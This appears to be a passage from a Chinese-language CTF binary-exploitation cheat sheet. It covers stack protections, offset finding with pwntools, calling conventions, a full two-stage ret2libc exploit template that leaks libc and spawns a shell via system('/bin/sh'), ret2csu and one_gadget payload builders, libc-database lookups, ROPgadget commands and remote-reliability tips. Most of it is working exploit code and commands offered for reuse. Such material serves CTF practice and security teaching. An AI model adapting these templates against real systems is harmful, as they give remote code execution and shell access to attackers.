NX disabled | 栈可执行 | 直接塞 shellcode |
Canary found | 栈溢出会被检测 | 必须先 leak canary 或绕过 (forked process / 格式化字符串) |
PIE enabled | .text 基址随机 | 必须 leak 一个代码地址 |
No PIE | .text 固定 | gadget 地址写死 |
Full RELRO | got 不可写 | 不能改 got,走 ret2libc / one_gadget |
Partial RELRO | got 可写 | 可以改 got 表 |
FORTIFY | 部分 libc 函数被替换为 _chk 版本 | read_chk 仍然能溢出,strcpy_chk 不行 |
栈溢出长度精确定位
# pwntools cyclic 模式
from pwn import *
context.arch = 'amd64'
# 1. 生成 cyclic pattern
payload = cyclic(200)
# 2. 喂给程序触发崩溃
p = process('./vuln')
p.sendline(payload)
p.wait()
# 3. 从 core dump 读 RSP 上的值
core = p.corefile
fault = core.fault_addr # 或 core.rsp 指向的 8 字节
offset = cyclic_find(fault & 0xffffffff) # 32-bit 模式
# 64-bit 用 cyclic_find(p64(fault)[:8])
log.info(f"offset = {offset}")32 / 64 位 calling convention 速查
| 架构 | 参数传递 | 返回 | 备注 |
|---|---|---|---|
| x86 (32-bit) | 栈传参(cdecl: 调用者清栈) | eax | 栈结构:ret_addr, arg1, arg2, ... |
| x86-64 SysV | rdi, rsi, rdx, rcx, r8, r9, 栈 | rax | rsp 必须 16-byte 对齐到 call 入口 |
| ARM32 | r0-r3, 栈 | r0 | lr 保存返回地址,bx lr 返回 |
| ARM64 | x0-x7, 栈 | x0 | 类似 SysV,更严格的对齐 |
ret2libc 完整 pwntools 模板
#!/usr/bin/env python3
from pwn import *
# === 环境配置 ===
exe = './vuln'
libc_path = './libc.so.6'
HOST, PORT = 'chal.example.com', 31337
context.binary = elf = ELF(exe)
context.log_level = 'info'
libc = ELF(libc_path)
# 自动 patchelf 让本地用题目给的 libc
# patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln
def conn():
if args.REMOTE:
return remote(HOST, PORT)
if args.GDB:
return gdb.debug(exe, gdbscript='''
b *main+123
continue
''')
return process(exe)
# === Stage 1: leak libc ===
p = conn()
OFFSET = 0x48 # 通过 cyclic 测出来
pop_rdi = 0x0000000000401383 # ROPgadget --binary ./vuln --only "pop|ret" | grep rdi
ret = 0x000000000040101a # 用于栈对齐
payload = b'A' * OFFSET
payload += p64(pop_rdi)
payload += p64(elf.got['puts']) # 让 puts 打印 puts@got 自己的地址
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main']) # 回到 main,复用栈溢出做第二轮
p.sendlineafter(b'> ', payload)
# 接收 leak(注意 recvuntil 锚字符串,不要用 sleep)
p.recvuntil(b'bye\n')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'leaked puts @ {hex(leak)}')
# 反查 libc base
libc.address = leak - libc.sym['puts']
log.success(f'libc base = {hex(libc.address)}')
# === Stage 2: ret2libc system("/bin/sh") ===
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
payload = b'A' * OFFSET
payload += p64(ret) # 关键:补齐 16-byte 对齐
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter(b'> ', payload)
p.interactive()栈对齐坑(必看)
现象:本地能打通,远程 system 一进去就 SIGSEGV
原因:libc 的 system → do_system → 内部某处 movaps xmm0, [rsp]
要求 rsp 16-byte 对齐
失败:你的 ROP 链跳进 system 时,rsp 末位是 0x8 而不是 0x0
修复:在 ROP 链里插一个 `ret` gadget(消耗 8 字节,让 rsp 重新对齐)ret2csu(万能 gadget)
当二进制里没有 pop rdx; ret 这种第三参数 gadget 时,用 __libc_csu_init 里的固定结构(glibc < 2.34 静态链接的程序里都有)。
__libc_csu_init 末尾固定 pattern:
add rsp, 8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
中间还有:
mov rdx, r15 ; r15 → rdx
mov rsi, r14 ; r14 → rsi
mov edi, r13d ; r13 → rdi (低 32 位)
call qword ptr [r12 + rbx*8]pwntools 写法:
csu_pop = 0x40119a # 第一段(pop rbx..r15; ret)
csu_call = 0x401180 # 第二段(mov rdx,r15; ... ; call [r12+rbx*8])
def csu(rdi, rsi, rdx, call_target):
p = p64(csu_pop)
p += p64(0) # rbx = 0
p += p64(1) # rbp = 1(要使后续 cmp rbx,rbp 通过 → rbx+1 == rbp)
p += p64(call_target) # r12 = [r12+rbx*8] 解引用得到目标
p += p64(rdi) # r13
p += p64(rsi) # r14
p += p64(rdx) # r15
p += p64(csu_call)
p += b'\x00' * 8 * 7 # 第二段 ret 后又 pop 7 个
return p适用:bss 里写一个函数指针,再用 csu 调用它,常用于 read(0, bss, 0x100) 阶段后跳到 bss 执行 ROP。
one_gadget 用法
one_gadget ./libc.so.6
# 输出类似:
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL使用:
og = [0xe3afe, 0xe3b01, 0xe3b04]
payload = b'A' * OFFSET
payload += p64(ret)
payload += p64(libc.address + og[1]) # 挑约束能满足的那个坑:one_gadget 在某些 libc 版本(2.34+)约束极难满足,老老实实 ret2libc 更稳。
libc-database 反查
场景:题目没给 libc,只能 leak 几个函数地址反推版本。
cd ~/tools/libc-database
# 用 leak 出来的 puts 和 read 地址(取后 3 位)反查
./find puts 0x6f0 read 0xfd
# 输出:libc6_2.31-0ubuntu9.9_amd64
# 拿对应 libc 的所有符号偏移
./dump libc6_2.31-0ubuntu9.9_amd64
# 下载实际 libc.so.6 到本地
ls db/libc6_2.31-0ubuntu9.9_amd64.sopwntools 集成:
# 在线 libc-database 查询(无需本地)
from pwnlib.libcdb import search_by_symbol_offsets
libs = search_by_symbol_offsets({'puts': 0x6f0, 'read': 0xfd})
libc = ELF(libs[0])ROPgadget 速查
# 基础:pop|ret 单 reg
ROPgadget --binary ./vuln --only "pop|ret"
# 找 syscall
ROPgadget --binary ./vuln | grep ': syscall'
# 找带特定字节
ROPgadget --binary ./libc.so.6 --only "pop|ret" | grep 'pop rdi'
# 找字符串
ROPgadget --binary ./libc.so.6 --string '/bin/sh'
# 输出 JSON 给程序解析
ROPgadget --binary ./vuln --json > gadgets.jsonRopper 替代(架构支持更广):
ropper --file ./vuln --search "pop rdi; ret"
ropper --file ./libc.so.6 --search "syscall"远程稳定化清单
| 问题 | 现象 | 解决 |
|---|---|---|
| libc 版本错 | 本地通,远程 SIGSEGV in system | leak 后用 libc-database 反查实际版本 |
| 栈对齐 | system 立刻段错误 | 加一个 ret gadget |
| 网络延迟 | recv 收到一半 | 用 recvuntil(b'锚字符串'),不用 sleep |
| 缓冲 | sendline 发完没反应 | 改 sendlineafter,明确等到 prompt 再发 |
| ASLR 浮动 | 概率成功 | 看是否 byte-level brute(1/16 概率不算稳定) |
| TCP nagle | 小包合并 | p.settimeout(2); p.recvall(timeout=2) 保底 |
调试技巧
# pwntools 内嵌 gdb attach
p = process('./vuln')
gdb.attach(p, '''
b *main+0x123
b *0x401234
commands
telescope $rsp 20
continue
end
''')
# 一开始就在 gdb 里跑
p = gdb.debug('./vuln', '''
set follow-fork-mode child
b main
''')GEF/pwndbg 常用命令:
checksec # 看保护
vmmap # 内存布局
telescope $rsp 30 # 栈链路(pwndbg)
stack 30 # 类似(GEF)
got # GOT 表
search-pattern "/bin/sh"
context # 自动显示 reg + stack + code(默认开)
ropgadget # 内嵌 gadget 搜索注意事项
- NX 关 + ASLR 关才能直接 shellcode;现代二进制基本都开 NX
- canary 在 fork 子进程里不变 — forking server 可以一次 byte 一次 byte 爆破(1/256 × 7 字节)
- 格式化字符串可以同时 leak canary 和 libc — 用
%p %p ... %p扫栈 - DynELF 慢但万能 — 完全没给 libc 时,pwntools 的
DynELF可以纯靠程序自己的 IO 原语逐字节 leak 符号表 - 静态链接的程序没有 libc.got — 走 SROP(sigreturn-oriented programming)或直接 syscall